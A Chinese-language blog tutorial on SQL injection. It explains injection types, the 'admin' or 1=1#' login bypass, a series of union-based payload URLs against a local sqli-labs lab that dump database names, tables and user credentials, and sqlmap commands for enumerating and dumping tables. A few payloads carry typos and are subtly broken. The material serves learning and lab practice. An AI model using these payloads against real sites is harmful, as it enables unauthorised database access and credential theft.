web漏洞-sql注入

SQL注入原理

SQL:结构化查询语言,是一种特殊目的的编程语言,一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。

原理:通过构建特殊的输入把恶意的SQL语句插入到web提交表单或页面请求的查询字符串中,从而欺骗服务器执行恶意的SQL语句,获取攻击者想要的信息。

发生场景:一切输入的地方,与数据交互的地方。

acccess+asp注入基本流程

1)判断有无注入点
2)猜解表名
3)猜解字段
4)猜解管理员ID值
5)猜解用户名和密码长度
6)猜解用户名和密码

SQL注入发现

①通过web漏洞扫描器
②在参数后面添加错误语句
③大量的对参数Fuzz测试
④直觉

注入分类

  1. 数字型注入
    SELECT * FROM users WHERE id=$id LIMIT 0,1;
    2。 字符型注入
    SELECT * FROM users WHERE username=’admin’ LIMIT 0,1;

注入提交方式

  1. GET
  2. POST
  3. COOKIE
  4. HTTP头部注入

注入方式

  1. 基于报错注入
  2. 基于布尔的盲注
  3. 基于时间的盲注
  4. 联合查询
  5. 内联查询
  6. 堆叠的查询

SQL手工注入

  1. php万能密码 admin’ or 1=1#

原理如果网站账号为admin,密码为admin

则正常登陆sql语句为:select * from user where username='$user' and password='pass';

注入后语句为:select * from user where username='admin' or 1=1#' and password='pass';

手工注入流程:

  1. 猜解字段
  2. 查看当前数据库
  3. 查询所有数据库
  4. 查询数据库中的表
  5. 查询表名中的所有字段

实例操作过程:

http://192.168.4.4:8003/Less-1/?id=1’ order by 11%23      #判断是否有11个字段(%23表示#号)

http://192.168.4.4:8003/Less-1/?id=-1’ union select 1,2,3%23       #联合查询

http://192.168.4.4:8003/Less-1/?id=-1’ union select 1,version(),3%23     #查看版本

http://192.168.4.4:8003/Less-1/?id=-1’ union select 1,user(),3%23          #当前用户权限

http://192.168.4.4:8003/Less-1/?id=-1’ union select 1,database(),3%23   #查看当前使用数据库

http://192.168.4.4:8003/Less-1/?id=-1’ Union select 1,group_concat(schema_name),3 from information_schema.schemata%23        #查询所有数据库

http://192.168.4.4:8003/Less-1/?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23             #查询数据库中的表,其中7365637572697479为数据库名的16进制数

http://192.168.4.4:8003/Less-1/?id=-1’ UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM infomation_schema,columns WHERE table_name = 0x7573657273%23  #查询表名中的所有字段,其中7573657273为表名的16进制数

http://192.168.4.4:8003/Less-1/?id=-1’ union select 1,,concat(username,0x3a,password),3 from users%23       #联合查询

常见查看数据库信息的函数:

version()    数据库版本
user()         用户名
database()  查看数据库

sqlmap的使用

使用环境:python
官网:http://sqlmap.org
启动运行:python sqlmap.py

常用参数

python sqlmap.py -u http://URL -v 3                     #判断注入,1-6级别,越高显示信息越详细
python sqlmap.py -u http://URL -v 3 --dbs            #数据库
python sqlmap.py -u http://URL -v 3 --current-user        #当前用户
python sqlmap.py -u http://URL -v 3 --current-db          #当前数据库
python sqlmap.py -u http://URL -v 3 --tables -D 数据库名                  #查查询表
python sqlmap.py -u http://URL -v 3 --column -T 表名 -D 数据库名   #查询字段
python sqlmap.py -u http://URL -v 3 --dump -T 表名 -D 数据库名     #显示表中全部内容
python sqlmap.py -u http://URL -v 3 --dump -C 字段名 -T 表名 -D 数据库名    #显示字段中的内容

针对POST方式的注入

  1. 使用burpsuite进行抓包
java -jar Burpsuite  ##运行软件
  1. 把捉到的包数据放入文件中
python sqlmap.py -r 1.txt -v 3

防护SQL注入

  1. CDN隐藏真实IP地址
  2. 通过安全函数进行过滤
  3. 对数据库最小权限设置
  4. 服务器针对性的WAF防火墙
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值